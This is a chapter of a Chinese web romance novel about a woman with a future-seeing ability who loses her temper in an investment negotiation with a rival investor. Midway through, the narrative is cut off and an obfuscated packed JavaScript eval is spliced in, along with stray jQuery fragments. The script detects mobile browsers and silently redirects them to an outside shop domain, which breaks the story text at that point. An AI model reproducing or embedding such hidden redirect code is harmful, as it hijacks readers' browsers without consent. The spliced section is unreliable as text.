文趣网 > 其他小说 > 预见你在自我攻略 > 5. 终究是少了些段位
    晚上八点,许予薇拖着一身疲惫回到家。

    门一关,隔绝外界所有的喧嚣,她连客厅的灯都懒得开,换了件宽松肥大的旧T恤,光脚踩在木地板上,随手将电视按开。

    屏幕泛起冷幽幽的光,正放着一部有些年头的丧尸片。幽暗的深林里阴风阵阵,主角举着手电筒一步步走向未知的阴影,而许予薇只是面无表情地盘腿坐在沙发上,将外卖袋里的汤面一点点拆开。

    她真的爱死在压力满满的一天之后,回到家里,独自看恐怖片了。

    在职场上戴了一整天的面具,只有在这个黑漆漆的客厅里,就着恐怖片里超越现实的阴森氛围,把心底那些压力全部挤占掉。

    茶几上的手机忽地震动起来。

    屏幕上跳动着“妈妈”两个字。

    许予薇放下汤匙,抽了张纸巾擦了擦嘴,按下接听键:“喂,妈。”

    “予薇,吃晚饭了没有啊?”沈蓉温和的声音从听筒里传来,隐隐带着老教师特有的敏锐。

    “正吃着呢,买的鸡汤米线呢。”

    “又吃的外卖吧?你要有空,还是得自己多做饭啊,外卖不健康。”

    “知道,知道。”许予薇把电视音量调小。

    “听你这动静,是不是又在看那些吓人的电影了?”沈蓉叹了口气,“跟你说了多少次,下班累了就早点睡,看那些东西神神叨叨的,哪能放松。”

    “习惯了,看着解压。”许予薇把头靠在沙发背上,声音软了下来。

    电话那头安静了片刻,沈蓉试探着开口:“最近工作压力很大?听你声音有点闷。”

    “项目在推进,各方利益要平衡,是挺耗精力的。”许予薇避重就轻。

    沈蓉在电话那端轻轻叹息了一声:“予薇,你跟妈说实话……最近,是不是又碰上什么人了?那特异功能……没再闹出什么事吧?”

    许予薇握着手机的手指倏然收紧。

    从小到大,除了母亲和闺蜜林妍,没有人知道她身上这个荒诞又沉重的秘密。母亲太了解她了——她之所以这么多年把自己活得像个密不透风的铁罐子,大学之后整整七年不谈恋爱、不碰感情,根本不是什么眼光高,而是害怕。

    她害怕只要动了心、只要有了亲密的接触,那个无法更改的未来就会像诅咒缠绕着她。

    “没有,妈。”许予薇喉咙有些发紧,扯了个谎,“我一直按咱们说好的规矩来,从来不乱看别人的未来。”

    “妈不是怪你。”沈蓉的声音放得极柔,带着做母亲的疼惜与无奈,“妈只是心疼你。从小到大,你因为害怕看到别人的未来,把自己包裹得太紧了。遇到稍微有点好感的人,只要一看到一点不确定的可能,你就吓得转身就跑,连试都不敢试一下。”

    听筒里传来母亲絮絮叨叨的关切:

    “予薇啊,你这么大了,一个人在外面大城市飘着,天天加班到半夜,生病了连个端热水的人都没有。妈知道你独立、要强,但一个人死撑着,总归是苦的。未来不管能看到什么,日子终究是一天一天过出来的。妈还是希望……你能试着放下戒备,找个知冷知热的感情寄托,别总把自己逼得那么累。”

    眼眶毫无预兆地泛起一阵酸涩。

    许予薇吸了吸鼻子,强忍着喉头的哽咽,故作轻松地笑道:“妈,你怎么突然开始催婚了?我现在满脑子都是搞钱和升职,感情的事随缘吧,哪有那么容易碰上合适的人。”

    她不敢告诉母亲,那个“合适的人”不仅已经碰上了,甚至荒唐地只用了一个吻,就强行把十月十六号的求婚砸进了她的生命里。

    她很害怕,却不知道自己在怕什么——怕这个未来是假的?还是怕这个未来成了真、自己即将草率地闪婚?

    宽慰了母亲几句,许予薇挂断电话,整个人蜷缩进冰凉的沙发里。

    屏幕上的恐怖片还在热闹地播放,血浆四溅,可许予薇看着看着,眼底却只剩下一片迷茫与疲惫。

    明天,灵犀的谈判桌,又要面对那个楚既明……于公于私,她都不想和他任何交集……

    ————————————————————————————————

    依旧是灵犀熟悉的会议室,依旧是笑眯眯的宋言。

    许予薇拉开靠右侧的椅子坐下,动作利落。她今天特意穿了件全黑的西装,长发盘在脑后,露出清瘦修长的脖颈,要的就说严肃而不好亲近的气场。

    “予薇姐,资料都理好了。”莫嘉凯端坐在她旁边,压低声音。

    许予薇点了下头:“嗯,按咱们昨晚标好的排他范围来谈。”

    坐在主位的宋言还是一副没脾气的温和表情,搓着手干笑:“二位都到了。今天主要碰碰两家投资机构后续在核心主条款上的对其。毕竟灵犀走到今天不容易,大家坐在一条板凳上,都是为了把公司最终推上市……”

    “宋总,上市就扯太远了。星海这次是来谈投资底线的——”

    许予薇没有给他太多和稀泥的空间,手指搭在打印整齐的红蓝对照表上,开门见山:

    “广泛排他。灵犀作为星海生态的重要协同标的,在B轮交割后的二十四个月内,不得接受任何竞品大厂的股权投资;其底层大模型与工业工作流接口,也不得接入星海竞品名单上的企业,尤其是国内前五的云厂商。这一条,必须白纸黑字写进正式的主投资协议与补充协议。”

    会议室里的空气骤然一滞。

    宋言的笑容瞬间僵死在嘴角,额头上冒出一层薄汗:“许经理……这、这排他的范围是不是太宽了?当初星海领投的时候提这个,我们咬咬牙能认。可现在星海转跟投,六千万……要是把国内排名前五的云厂商全排在外头,灵犀这通用底座的商业路子,等于是被自断两臂啊!”

    “宋总,六千万也是真金白银。”许予薇眼风锐利,字字如刀,“而且星海身后带来的不仅仅是钱,还有全国十几个工业园区的千万级客户池。如果没有深度的广泛排他作为风控底线,我们凭什么把身后的核心市场敞开给你们?星海不是做慈善的。”

    她说完,终于转过眼眸,目光冷冰冰地越过长桌,直逼坐在正对面的楚既明:

    “楚总作为领投方,应该明白商业生态的排他价值。启衡出了一点二亿,难道愿意看着自己重金押注的被投企业,没有成熟的客户生态?”

    对面的男人靠在皮质高背椅里,一身松弛的polo衫加运动长裤的穿搭,腕表在冷白光下泛着清冽的光泽。他好整以暇地掀起眼皮看她。

    那双深邃的黑眸里没有半分被挑衅的愠怒,反而极感有趣地笑了。

    “可以写。”

    低沉微哑的嗓音破开死寂。

    许予薇愣了。

    她准备了一整套用来反驳“领投特权”的说辞,甚至做好了楚既明当场拍桌子拒绝的准备,却没想到他居然吐出了这三个字。

    连旁边的莫嘉凯都愣住了,下意识飞快敲键盘的手停在半空。

    “启衡不同意的排他条款,星海可以坚持写。”楚既明抬眼看着她,声线平直,“然后呢?”

    许予薇皱起眉:“什么然后?”

    楚既明转头看向坐在中间急得快要擦汗的宋言,轻描淡写地开始转移压力:“然后请宋总决定,为了星海这六千万,灵犀愿不愿意接受两年的广泛排他,把未来可能给灵犀输送订单的其他大厂全部拒之门外。”

    宋言浑身一震,嘴唇哆嗦着:“楚总,这……”

    “如果灵犀接受,”楚既明转回视线,重新落回许予薇紧绷的冷艳面庞上,薄唇微勾,眼底浮起一点恶劣的笑意,“启衡重新评估其未来价值。”

    他甚至极其绅士地朝她摊了摊手:

    “许经理,你看,我没拦你。”

    会议室里死一般的寂静。

    许予薇胸口那团无名火轰地一下烧了起来!

    他根本不是妥协,更不是在给她让路。他是在用最轻描淡写的方式,把灵犀连同她一起,架在火上烤!

    他没有利用领投席位去强行否决她,而是将这个致命的皮球原封不动地踢给了宋言,让创始人自己算账:为了星海这带毒的六千万,愿不愿意放弃启衡的一点二亿和灵犀未来的半壁江山?!

    宋言擦着脑门上的虚汗,果然立刻转过头来,近乎哀求地看向许予薇:“许经理……你看这……楚总要是重新评估,我们灵犀这轮融资可就全乱套了!两家神仙打架,别拿我们创业团队当炮灰啊!这排他范围能不能再商量商量?哪怕缩到六个月,或者只限定在两家核心竞品?”

    许予薇紧紧咬着后槽牙,指甲掐进掌心。

    她被楚既明这一手四两拨千斤,生生推到了逼迫创业公司的恶人位置上!

    “楚总这是在威胁撤资?”许予薇冷冷注视着他,眼底几乎要飞出冰刃。

    “不是。”楚既明神色自若。

    “那是什么?”

    “重新定价。”

    “有什么区别?!”

    “区别是——”

    楚既明收了那副散漫的笑,直直对上她那双烧着烈火的眼睛,语调清晰得没有一丝含糊:

    “星海要的权利变多了,灵犀在市场上的价值当然会变。你们多拿一分控制权,启衡能从灵犀身上看到的发展空间就少一分。星海可以把六千万当成十个亿来用,但启衡没有义务替你们的独占欲买单。”

    他看着她,吐字极轻:“很公平。”

    “楚总!”

    许予薇再也维持不住那层体面的假面,啪的一声将手里的碳素笔拍在桌上,声音清冽得拔高了半个调:“所以启衡的意思就是,星海如果给不够真金白银的投入,就没有任何资格要求任何产业层面的合理保护?!”

    宋言吓得整个人差点从转椅上出溜下去,两手疯狂在半空中压:“消消气!许经理消消气!千万别动怒……”

    一旁的莫嘉凯整个人彻底僵在椅子上,嘴巴微张,眼睛瞪得滚圆。

    在他的印象里,许予薇在战投部向来是出了名的情绪稳定、温柔耐心、任何时候都体面优雅的代名词,他跟了她快两年,从没见过她当众发这么大火,甚至直接指名道姓地冲着资方合伙人开炮!

    他吓得屏住呼吸,悄悄扯了扯许予薇的衣角,试图拉住她。

    对面的楚既明却只是静静看着她因薄怒而泛上绯红的耳廓与微颤的眼睫。

    他没有恼,唇角反而再度牵起一抹极淡的弧度,嗓音低沉醇厚,字字清晰地落进针落可闻的室内:

    “不是。”

    “那你到底是什么意思?”她胸口起伏,冷艳的眸子死死盯着他。

    楚既明眼底闪烁着洞若观火的从容,语气平缓微哑,似笑非笑地吐出一句:

    “我的意思是,许经理,有些东西,你有贡献,别人也是有投入的。”

    许予薇一怔,很快脸就涨得通红。

    他在讽刺她!

    没错,他肯定是故意讽刺她,并在暗示那个荒唐的夜晚!

    “楚总!”许予薇猛地站起身,椅子腿在光洁的地面上划出一道刺耳的锐响,声音冷得发抖,“你说话能不能不要这么夹枪带棒?!”

    楚既明眼底适时地掠过一丝极无辜的困惑,甚至摊了摊手:

    “我哪句话夹枪带棒了?”

    他转头看向宋言:“宋总,我说的是投资按比分配,有什么问题吗?”

    宋言在中间快被这诡异的火药味逼疯了,招牌标志笑容也撤回了,直摆手道:“没、没毛病啊……许经理,楚总只是在聊协议……”

    许予薇站在长桌前,看着楚既明那张带着上位者戏谑与挑衅的脸,气得想掐过去。

    她根本没办法向屋里的第三个人解释,自己为什么会因为一句再正常不过的商业对话,而气到当场失控!

    这哑巴亏,她生生咽不下去,也吐不出来。

    “今天先到这里。”

    许予薇面无表情地抓起桌上的材料

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965511|214490||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,一把塞进包里,拉链发出刺啦一声脆响。

    “嘉凯,收东西,回星海。”

    “啊?哦哦!好!”莫嘉凯吓得一个激灵,手忙脚乱地把电脑和电源胡乱往包里塞。

    宋言慌忙跟着站起来:“哎呀许经理,别走啊,中午订了淮扬菜,咱们边吃边聊……”

    “不必了,宋总留着跟楚总慢慢吃吧。”

    许予薇连一个多余的眼神都没给楚既明,头也不回地大步撞开会议室的玻璃门走了出去。

    楚既明坐在原位,看着那道决绝而愤怒的背影消失在拐角,眼底的笑意越来越浓……

    电梯一路下行,许予薇踩着前海中心冰冷的地面,脚步快得像是身后有洪水猛兽。

    “予、予薇姐!等等我!”

    莫嘉凯抱着两个电脑包一路小跑追上来,小心翼翼地看着她苍白冰沉的侧脸,大气都不敢喘。直到出了大厦旋转门,迎面被初秋微凉的风一吹,他才小心翼翼地开口:“予薇姐……你今天没开车吧?我、我今天开了车来,在地库,我送你回公司吧?”

    许予薇深吸了一口外头的凉空气,胸口那阵窒息感才稍稍缓和,停下步子揉了揉眉心:“不用了嘉凯,我打个车就行,你先回……”

    “别别别,商业区这边打车要等十几分钟呢!”莫嘉凯连连摆手,语气格外坚持,“我车就在B2,马上开上来,你就在这儿等我一分钟!”

    没等许予薇拒绝,大男孩已经像阵风似地反身冲向地库入口。

    两分钟后,一辆宝马Z4敞篷跑车低吼着停在了路边。

    副驾车窗降下,莫嘉凯顶着一头被风吹乱的碎发,带着标志性的阳光笑容地探出头:“予薇姐,上车吧。”

    跟他说了很多次了,刚转正的小经理要低调点!许予薇看着这辆招摇的跑车和车上人青春洋溢的笑容,烦躁的情绪消了大半,拉开车门坐进副驾驶,系上安全带。

    车子滑入拥堵的车流。

    车厢里放着轻快的流行乐,但气氛依然透着一股战战兢兢。莫嘉凯双手紧紧握着方向盘,时不时用余光偷偷瞟她,一副欲言又止、生怕哪句话没说对又引爆地雷的模样。

    “认真开车,好好看路。”许予薇靠在真皮椅背上,闭着眼,声音透着无力的沙哑。

    “咳……予薇姐,刚才在会上,你没事吧?”莫嘉凯挠了挠耳根,声音放得极轻,“我其实……从没见你发过那么大火。以前哪怕市场部那几个总监在跨部门会上甩锅,你都是慢条斯理地拿数据说话……那个楚总说话,确实不太好接招吧?”

    许予薇睫毛颤了颤,没睁眼。

    不好接招吗?

    在外人听来,好像也没什么,过分的是那些只有他们两个人能懂的暗语,过分的是她自己那点无法宣之于口的难堪与被看穿的狼狈。

    许予薇低声自嘲地笑了笑,“真受不……完全被绕进去了……”

    “啊?”莫嘉凯一愣,生怕自己错过了一句回复,“什么意思?”

    “……没什么。”

    莫嘉凯担忧地看着她,犹豫了一下,看着前方的拥堵路段,忽然试探着问:“予薇姐……你是不是有点烦躁了我看你中午就没吃东西,脸色特别白,想不想吃点甜的顺顺气?”

    许予薇疲惫地吐出一口气:“随便吧。”

    “好嘞!”莫嘉凯眼睛一亮,立刻一打方向盘,“我知道这附近有一家甜品店,超级热门,平时排队都排不上,反正都出来了,我带你去!”

    十分钟后,车停在了一家装修雅致、飘着浓郁黄油与香草香气的临街甜品店门外。

    莫嘉凯跑进去,不多时就拎着两盒精致的小蛋糕和两杯热美式钻回了车里。他把其中一个缀满了新鲜莓果和巧克力的慕斯递到许予薇手里,还贴心地替她插上了小叉子:“予薇姐,尝尝这个,巧克力树莓的,他们家招牌!据说吃了心情立刻能回血!”

    甜腻温暖的香气在狭小的跑车座舱里散开。

    许予薇挖了一小块放进嘴里。

    极具层次感的酸甜在舌尖化开,浓郁的巧克力香气终于让抽痛发紧的胃部得到了一丝抚慰。

    她靠在副驾上,小口小口吃着慕斯蛋糕,窗外是川流不息的车尾红灯。

    “嘉凯。”她忽然开口。

    “哎,予薇姐你说。”莫嘉凯咬着叉子转过头。

    “其实我今天……从一开始就知道自己说不过他。”许予薇自嘲地扯了扯唇角,眼底浮起一层淡淡的灰败,“毕竟有资历和经验的差距,而且广泛排他也是星海硬塞给灵犀的霸王条款。秦正川想要协同,既不想多给钱,又想把人家的路全封死。楚既明是做独立投资出身的,算账比谁都精,他怎么可能同意吃这种亏?”

    莫嘉凯眨了眨眼:“那宋总呢?咱们星海带过去的资源也不少啊……”

    “主要是宋言也不站我这边。”

    许予薇放下小叉子,看着盒子里剩下的大半块蛋糕,喉间泛起浓浓的苦涩:

    “宋言要的是活下去,是独立做大。楚既明递给他的是生路,我递过去的是绳套。楚既明稍微点拨一句,宋言的天平立刻就歪了。我坐在那里,表面上是以势压人,实际上连手里的筹码都是虚的。”

    莫嘉凯听出了她声音里的低落,便急切地劝道:“可这根本不是你的错啊!是秦总非要把这个任务压给咱们……”

    “这就是我的错!因为这是我的项目,我必须扛起所有结果。”许予薇转头看向车窗外倒映的自己,牙关咬得紧紧的,眼眶却开始泛红,整个人陷在一股深重的无力感里:

    “今天这一闹,排他是彻底谈崩了。回去我怎么跟秦正川交代?投委会过会迫在眉睫,秦正川卡着不松口,这笔跟投在会上大概率直接被否。领投早就被启衡抢走了,现在连跟投都要丢……”

    她闭上眼,脱力般地把头抵在冰凉的玻璃上,痛苦地低喃,“四个月……咱俩努力了整整四个月的项目,最后或许什么都不剩下……全白干了。”